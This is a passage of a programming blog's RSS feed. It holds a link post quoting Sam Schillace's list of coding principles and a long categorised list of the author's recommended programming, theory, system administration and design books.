&lt;a class="link__link-post" href="https://hackernoon.com/writing-code-like-a-mathematical-proof-f5838fc27382"&gt;Writing Code Like a Mathematical Proof&lt;/a&gt;</description></item><item><title>Coding Principles Every Engineer Should Know</title><link>https://www.wormbytes.ca/link-post/coding-principles-every-engineer-should-know-sam-schillace-medium/</link><pubDate>Fri, 10 Nov 2017 11:34:02 +0000</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/link-post/coding-principles-every-engineer-should-know-sam-schillace-medium/</guid><description>&lt;p&gt;&lt;a href="https://medium.com/@sschillace"&gt;Sam Schillace&lt;/a&gt; writes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I was talking with the engineering team at Box about what I’ve learned along this journey, and what came out of that conversation were my personal engineering principals. These aren’t rules or engineering guidelines. They’re simply the principles that I pay attention to when I write and operate code.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;These include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Be paranoid.&lt;/li&gt;
&lt;li&gt;Don’t lie to the computer.&lt;/li&gt;
&lt;li&gt;Keep it simple.&lt;/li&gt;
&lt;li&gt;First rule of optimizing: don’t.&lt;/li&gt;
&lt;li&gt;Don’t just fix the bug; fix all possibility of it ever happening again.&lt;/li&gt;
&lt;li&gt;Question assumptions constantly.&lt;/li&gt;
&lt;li&gt;Think long term. Slow down, it goes faster.&lt;/li&gt;
&lt;li&gt;Care about your code.&lt;/li&gt;
&lt;li&gt;Cheap, fast, right — pick two.&lt;/li&gt;
&lt;li&gt;Conclusion: Be curious. Learn as much as you can, all the time.&lt;/li&gt;
&lt;/ul&gt;
&lt;a class="link__link-post" href="https://medium.com/@sschillace/coding-principles-every-engineer-should-know-b946b48cc946"&gt;Coding Principles Every Engineer Should Know&lt;/a&gt;</description></item><item><title>Programmer's Library</title><link>https://www.wormbytes.ca/books/programmer-library/</link><pubDate>Mon, 16 Jan 2006 17:01:22 +0000</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/books/programmer-library/</guid><description>&lt;p&gt;Every working programmer or software developer ought to have a large personal
library of books they consider essential–these books are mine. My list
started off being very language heavy (mostly Perl), but as I&amp;rsquo;ve gotten older
(and gained more experience) I&amp;rsquo;ve gravitated towards broader topics in
software development.&lt;/p&gt;
&lt;h1 id="programming"&gt;Programming&lt;/h1&gt;
&lt;h2 id="languages"&gt;Languages&lt;/h2&gt;
&lt;h3 id="aspnet"&gt;ASP.NET&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.manning.com/books/entity-framework-core-in-action-second-edition"&gt;Entity Framework Core in Action, Second Edition&lt;/a&gt; by Jon P Smith&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.manning.com/books/pro-aspdotnet-core-7-tenth-edition"&gt;Pro ASP.NET Core 7, Tenth Edition&lt;/a&gt; by Adam Freeman&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="cc"&gt;C/C++&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0201889544/"&gt;C&amp;#43;&amp;#43; Programming Language, The&lt;/a&gt;
by Bjarne Stroustrup&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="clojure"&gt;Clojure&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pragprog.com/book/shcloj3/programming-clojure-third-edition"&gt;Programming Clojure&lt;/a&gt; by Alex Miller with Stuart Halloway and Aaron Bedra&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="perl"&gt;Perl&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0596004567/"&gt;Advanced Perl Programming&lt;/a&gt;
by Simon Cozens&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/1930110820/"&gt;Extending and Embedding Perl&lt;/a&gt;
by Tim Jenness and Simon Cozens&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/1558607013/"&gt;Higher Order Perl&lt;/a&gt;
by Mark Jason Dominus&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/1884777791/"&gt;Object Oriented Perl&lt;/a&gt;
by Damian Conway&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0596527241/"&gt;Mastering Perl&lt;/a&gt;
by Brian D. Foy&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0596001738/"&gt;Perl Best Practices&lt;/a&gt;
by Damian Conway&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0596004761/"&gt;Perl Template Toolkit&lt;/a&gt;
by Darren Chamberlain, David Cross, Andy Wardley&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0596100922/"&gt;Perl Testing: A Developer&amp;#39;s Notebook&lt;/a&gt;
by Ian Langworth &amp;amp; chromatic&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/1565921496/"&gt;Programming Perl&lt;/a&gt;
by Larry Wall, Tom Christiansen, Randal L. Schwartz&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="regular-expressions"&gt;Regular Expressions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0596002890/"&gt;Mastering Regular Expressions&lt;/a&gt;
by Jeffrey E. F. Friedl&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ruby"&gt;Ruby&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.sandimetz.com/99bottles/"&gt;99 Bottles of OOP&lt;/a&gt; by Sandi Metz and Katrina Owen&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.confidentruby.com/"&gt;Confident Ruby&lt;/a&gt; by Avdi Grimm&lt;/li&gt;
&lt;li&gt;&lt;a href="http://objectsonrails.com"&gt;Objects on Rails&lt;/a&gt; by Avdi Grimm&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0134456475/"&gt;Practical Object-Oriented Design in Ruby: An Agile Primer&lt;/a&gt;
by Sandi Metz&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="development"&gt;Development&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/1571690042/"&gt;Black Art of 3D Game Programming&lt;/a&gt;
by Andre LaMothe (&lt;em&gt;Game Design&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0735619670/"&gt;Code Complete&lt;/a&gt;
by Steve McConnell (&lt;em&gt;Construction&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0201633612/"&gt;Design Patterns&lt;/a&gt;
by Erich Gamma, Richard Helm, Ralph Johnson, John Vlissides (&lt;em&gt;Construction&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0596527403/"&gt;Dynamic HTML&lt;/a&gt;
by Danny Goodman (&lt;em&gt;Reference&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://leanpub.com/fp-oo"&gt;Functional Programming for the Object-Oriented Programmer&lt;/a&gt; by Brian Marick&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/B002TIOYVW/"&gt;Growing Object-Oriented Software, Guided by Tests&lt;/a&gt;
by Steve Freeman and Nat Pryce (&lt;em&gt;OO&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0321419499/"&gt;Mastering the Requirements Process&lt;/a&gt;
by Suzanne and James Robertson&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0136291554/"&gt;Object-Oriented Software Construction&lt;/a&gt;
by Bertrand Meyer (&lt;em&gt;OO&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/020161622X/"&gt;Pragmatic Programmer, The&lt;/a&gt;
by Andrew Hunt, David Thomas (&lt;em&gt;Craftsmanship&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0201657880/"&gt;Programming Pearls&lt;/a&gt;
by Jon Bentley (&lt;em&gt;Wisdom&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/1556159005/"&gt;Rapid Development&lt;/a&gt;
by Steve McConnell (&lt;em&gt;Design/Planning&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0201485672/"&gt;Refactoring&lt;/a&gt;
by Martin Fowler (&lt;em&gt;Construction&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0735605351/"&gt;Software Estimation&lt;/a&gt;
by Steve McConnell (&lt;em&gt;Planning&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0735618798/"&gt;Software Requirements (2nd Edition)&lt;/a&gt;
by Karl Wiegers&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/013490012X/"&gt;UNIX Network Programming: Volume 1&lt;/a&gt;
by W. Richard Stevens (&lt;em&gt;Networking&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0131177052/"&gt;Working Effectively with Legacy Code&lt;/a&gt;
by Michael Feathers&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="foundationtheory"&gt;Foundation/Theory&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0471128457/"&gt;Applied Cryptography&lt;/a&gt;
by Bruce Schneier&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0201896834/"&gt;Art of Computer Programming, Volume 1&lt;/a&gt;
by Donald E. Knuth&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0201896842/"&gt;Art of Computer Programming, Volume 2&lt;/a&gt;
by Donald E. Knuth&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0201896850/"&gt;Art of Computer Programming, Volume 3&lt;/a&gt;
by Donald E. Knuth&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0201558025/"&gt;Concrete Mathematics&lt;/a&gt;
by Ronald L. Graham, Donald E. Knuth, Oren Patashnik (&lt;em&gt;Mathematics&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0596100124/"&gt;Database In Depth&lt;/a&gt;
by C.J. Date (&lt;em&gt;Relational Theory&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="hardware"&gt;Hardware&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0521370957/"&gt;Art of Electronics, The&lt;/a&gt;
by Paul Horowitz, Winfield Hill (&lt;em&gt;Electronics&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="system-administration"&gt;System Administration&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/1565921275/"&gt;Essential System Administration&lt;/a&gt;
by Aeleen Frisch (&lt;em&gt;Administration&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/1565921488/"&gt;Practical Unix &amp;amp; Internet Security&lt;/a&gt;
by Simson Garfinkel &amp;amp; Gene Spafford (&lt;em&gt;Security&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="graphic-designusability"&gt;Graphic Design/Usability&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0321346939/"&gt;Bulletproof Web Design&lt;/a&gt;
by Dan Cederholm (&lt;em&gt;CSS/XHTML&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/1590596145/"&gt;CSS Mastery: Advanced Web Standards Solutions&lt;/a&gt;
by Andy Budd, Simon Collison, and Cameron Moll (&lt;em&gt;CSS&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0789723107/"&gt;Don&amp;#39;t Make Me Think!&lt;/a&gt;
by Steve Krug (&lt;em&gt;Web Usability&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0596527349/"&gt;Information Architecture for the World Wide Web&lt;/a&gt;
by Peter Morville &amp;amp; Louis Rosenfeld (&lt;em&gt;Information Architecture&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0321193857/"&gt;Non-Designer&amp;#39;s Design Book, The&lt;/a&gt;
by Robin Williams (&lt;em&gt;Graphic Design&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="others"&gt;Others&amp;hellip;&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/1579550088/"&gt;A New Kind of Science&lt;/a&gt;
by Stephen Wolfram (&lt;em&gt;Science&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0738205370/"&gt;Conceptual Blockbusting&lt;/a&gt;
by James L. Adams (&lt;em&gt;Problem Solving&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/020530902X/"&gt;Elements of Style, The&lt;/a&gt;
by William Strunk Jr. and E.B. White (&lt;em&gt;English Writing&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://isbnsearch.org/isbn/0075489864/"&gt;Handbook of English&lt;/a&gt;
by Harry Shaw (&lt;em&gt;Grammar&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>